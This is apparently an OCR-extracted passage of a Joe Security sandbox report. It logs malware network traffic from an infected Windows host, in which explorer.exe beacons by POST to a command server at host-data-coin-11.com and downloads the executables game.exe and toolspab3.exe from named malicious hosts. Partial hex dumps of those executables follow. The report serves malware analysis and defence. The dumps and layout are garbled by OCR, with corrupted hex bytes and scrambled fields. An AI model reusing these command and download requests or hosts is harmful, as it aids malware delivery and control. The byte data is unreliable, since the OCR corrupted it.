2f20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 72657373 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0

Destination IP Destination Port Process

95.213.165.249 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://tevvfr.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 241

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Wed, 01 Dec 2021 08:14:09 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
7373 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa Od Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0

Destination IP Destination Port Process
95.213.165.249 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://aryonwruu.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 183

Host: host-data-coin-11.com

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Wed, 01 Dec 2021 08:14:10 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0

Connection: close
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Session ID Source IP Source Port Destination IP Destination Port Process

26 192.168.2.4 49782 95.213.165.249 80 C:\Windows\explorer.exe
kBytes
Timestamp transferred Direction Data
Dec 1, 2021 3039 ouT POST /HTTP/1.1
09:14:10.177675962 CET Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*

Referer: http://vefoyiify.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 152

Host: host-data-coin-11.com

Dec 1, 2021 3039 IN HTTP/1.1 404 Not Found
09:14:10.281600952 CET Server: nginx/1.20.1
Date: Wed, 01 Dec 2021 08:14:10 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 33 30 0d Oa 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 14 f9 aa 89 ff a2 1e b7 08
93 31 f9 55 50 99 4a f6 €8 24 e5 64 50 06 b9 0d 0a 30 0d Oa 0d Oa
Data Ascii: 301:820U&1UPJ$dPO

Session ID Source IP Source Port Destination IP  Destination Port Process

27 192.168.2.4 49783 95.213.165.249 80 C:\Windows\explorer.exe
kBytes

Timestamp transferred Direction Data

Dec 1, 2021 3040 ouT GET /game.exe HTTP/1.1

09:14:10.409068108 CET Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: host-file-host-3.com

Dec 1, 2021 3041 IN HTTP/1.1 200 OK

09:14:10.491420031 CET Server: nginx/1.20.1
Date: Wed, 01 Dec 2021 08:14:10 GMT
Content-Type: application/x-msdos-program
Content-Length: 351744
Connection: close
Last-Modified: Wed, 01 Dec 2021 08:14:01 GMT
ETag: "55e00-5d21141ab62f3"
Accept-Ranges: bytes
Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fO 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01 4c
cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65
2e 0d 0d Oa 24 00 00 00 00 00 00 00 bf 4f 57 03 fb 2e 39 50 fb 2e 39 50 fb 2e 39 50 68 60 al 50 fa 2e 39 50 94 58 92 50
d5 2e 39 50 94 58 a7 50 e2 2e 39 50 94 58 93 50 79 2e 39 50 2 56 aa 50 f8 2e 39 50 fb 2e 38 50 18 2e 39 50 94 58 96 50
fa 2e 39 50 94 58 a3 50 fa 2e 39 50 94 58 a4 50 fa 2e 39 50 52 69 63 68 fb 2e 39 50 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 50 45 00 00 4c 01 04 00 5f 95 6a 60 00 00 00 00 00 00 00 00 e0 00 02 01 Ob 01 Oa 00 00 fe 03 00 00 40 09 00
00 00 00 00 30 d0 01 00 00 10 00 00 00 10 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01
00 00 00 00 00 00 70 Od 00 00 04 00 00 51 3b 06 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00
00 00 10 00 00 00 00 00 00 00 00 00 00 00 04 f9 03 00 28 00 00 00 00 €0 Oc 00 70 41 00 00 00 00 00 00 00 00 00 00 00 O
000 00 00 00 00 00 00 30 0d 00 38 1d 00 00 cO 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 a8 c5 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 6¢ 03 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ae fd 03 00 00 10 00 00 00 fe 03 00 00 04 00
00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 40 cc 08 00 00 10 04 00 00 de 00 00 00 02
04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 cO 2e 72 73 72 63 00 00 00 70 41 00 00 00 e0 Oc 00 00 42 00 00 00
€0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6¢ 6f 63 00 00 d4 3b 00 00 00 30 0d 00 00 3¢ 00 00
00 22 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 98 fc 03 00 a6 fc 03 00 ba fc 03 00 ce fc 03 00 dc fc 03 00 fO fc 03 00 06 fd 03 00 24 fd 03 00 3a fd 03
00 4a fd 03 00 5¢ fd 03 00 7c fd 03 00 92 fd 03 00 a4
Data Ascii: MZ@!L!This program cannot be run in DOS mode.$OW.9P.9P.9Ph’P.9PXP.9PXP.9PXPy.9PVP.9P.8P.
9PXP.9PXP.9PXP.9PRich.9PPEL_j'@0@pQ;(pA08@!.text *.data@@.rsrcpAB@@.reloc;0<"@B$:J\|

Session ID Source IP Source Port Destination IP Destination Port Process

28 192.168.2.4 49784 95.213.165.249 80 C:\Windows\explorer.exe
kBytes

Timestamp transferred Direction Data
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kBytes
Timestamp transferred

Dec 1, 2021 3406
09:14:12.617144108 CET

Dec 1, 2021 3407
09:14:12.721808910 CET

Session ID Source IP
29 192.168.2.4

kBytes
Timestamp transferred
Dec 1, 2021 3407

09:14:12.811054945 CET

Dec 1, 2021 3408
09:14:12.912240982 CET

Session ID Source IP
3 192.168.2.4

kBytes
Timestamp transferred
Dec 1, 2021 1081

09:13:55.520081043 CET

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49785

Direction

ouT

Source Port
49758

Direction

ouT

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://guokyvqgqg.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 284

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Wed, 01 Dec 2021 08:14:12 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
7373 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0

Destination IP Destination Port Process

95.213.165.249 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://sdcdogt.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 318

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Wed, 01 Dec 2021 08:14:12 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3¢ 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa Od Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html|><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htm|>0

Destination IP Destination Port Process

95.213.165.249 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://gqnrsjcd.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 140

Host: host-data-coin-11.com
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Timestamp

Dec 1, 2021
09:13:55.621822119 CET

Session ID

30

Timestamp

Dec 1, 2021
09:14:12.998963118 CET

Dec 1, 2021
09:14:13.097769976 CET

Session ID

31

Timestamp

Dec 1, 2021
09:14:13.272150040 CET

Dec 1, 2021
09:14:13.370440006 CET

Session ID
32

Timestamp

Dec 1, 2021
09:14:13.805233955 CET

kBytes
transferred

1082

Source IP

192.168.2.4

kBytes
transferred

3409

3410

Source IP

192.168.2.4

kBytes
transferred

3411

3412

Source IP
192.168.2.4

kBytes
transferred

3412

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49786

Direction

ouT

Source Port

49787

Direction

ouT

Source Port
49788

Direction
ouT

Data

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Wed, 01 Dec 2021 08:13:55 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0

Connection: close

Destination IP Destination Port Process

95.213.165.249 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://vfrmk.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 275

Host: host-data-coin-11.com

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Wed, 01 Dec 2021 08:14:13 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0

Connection: close

Destination IP Destination Port Process

95.213.165.249 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://tgtmtdosym.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 326

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Wed, 01 Dec 2021 08:14:13 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d1 95 4f 11 6a 11 e9 b2 83 bd a6 0b a2
13 cc 7b b843 12 c3 55 al b9 67 €3 25 58 51 b8 f6 ch 41 el Oe 88 16 95 el 63 da 7d b3 ef d2 01 79 e5 a8 1d 63 a9 0d Oa
30 0d Oa 0d Oa

Data Ascii: 461:8200j{CUg%XQAc}ycO

Destination IP  Destination Port Process

95.213.165.249 80 C:\Windows\explorer.exe

Data

GET /downloads/toolspab3.exe HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: privacytoolzforyou-7000.com
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kBytes
Timestamp transferred

Dec 1, 2021 3414
09:14:13.887214899 CET

Session ID Source IP
33 192.168.2.4

kBytes
Timestamp transferred
Dec 1, 2021 3763

09:14:16.861721992 CET

Dec 1, 2021 3764
09:14:16.963992119 CET

Session ID Source IP

34 192.168.2.4

Copyright Joe Security LLC 2021

Direction

IN

Source Port
49789

Direction
ouT

Source Port

49790

Data

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Wed, 01 Dec 2021 08:14:13 GMT

Content-Type: application/x-msdos-program

Content-Length: 336896

Connection: close

Last-Modified: Wed, 01 Dec 2021 08:14:01 GMT

ETag: "52400-5d21141aa49b3"

Accept-Ranges: bytes

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fO 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01 4c
cd 2154 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65
2e 0d 0d Oa 24 00 00 00 00 00 00 00 bf 4f 57 03 fb 2e 39 50 fb 2e 39 50 fb 2e 39 50 68 60 al 50 fa 2e 39 50 94 58 92 50
d5 2e 39 50 94 58 a7 50 e2 2e 39 50 94 58 93 50 79 2e 39 50 2 56 aa 50 f8 2e 39 50 fb 2e 38 50 18 2e 39 50 94 58 96 50
fa 2e 39 50 94 58 a3 50 fa 2e 39 50 94 58 a4 50 fa 2e 39 50 52 69 63 68 fb 2e 39 50 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 50 45 00 00 4c 01 04 00 c8 12 7d 5f 00 00 00 00 00 00 00 00 e0 00 02 01 Ob 01 Oa 00 00 c4 03 00 00 40 09
00 00 00 00 00 fO 94 01 00 00 10 00 00 00 e0 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00
01 00 00 00 00 00 00 40 0d 00 00 04 00 00 38 71 05 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00
00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 c4 bd 03 00 28 00 00 00 00 b0 Oc 00 70 41 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 0d 00 34 1d 00 00 cO 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 68 8a 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 6¢ 03 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 6e c2 03 00 00 10 00 00 00 c4 03 00 00
04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 40 cc 08 00 00 e0 03 00 00 de 00 00
00 c8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 cO 2e 72 73 72 63 00 00 00 70 41 00 00 00 b0 Oc 00 00 42 00
00 00 a6 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6¢ 6f 63 00 00 b6 3b 00 00 00 00 0d 00 00 3c
00 00 00 e8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 58 c1 03 00 66 c1 03 00 7a c1 03 00 8e c¢1 03 00 9c c1 03 00 b0 c1 03 00 c6 c1 03 00 e4 c1 03 00
fa c1 03 00 0a c2 03 00 1c c2 03 00 3c c2 03 00 52 c2 03 00 64

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$OW.9P.9P.9Ph’P.9PXP.9PXP.9PXPy.9PVP.9P.8P.
9PXP.9PXP.9PXP.9PRich.9PPEL} @@ @8q(pA4h@l.textn ".data@ @.rsrcpAB@ @.reloc;<@BXfz<Rd

Destination IP Destination Port Process

95.213.165.249 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://drrwv.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 308

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Wed, 01 Dec 2021 08:14:16 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c¢ 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2C 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 6472657373 3e41 7061 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
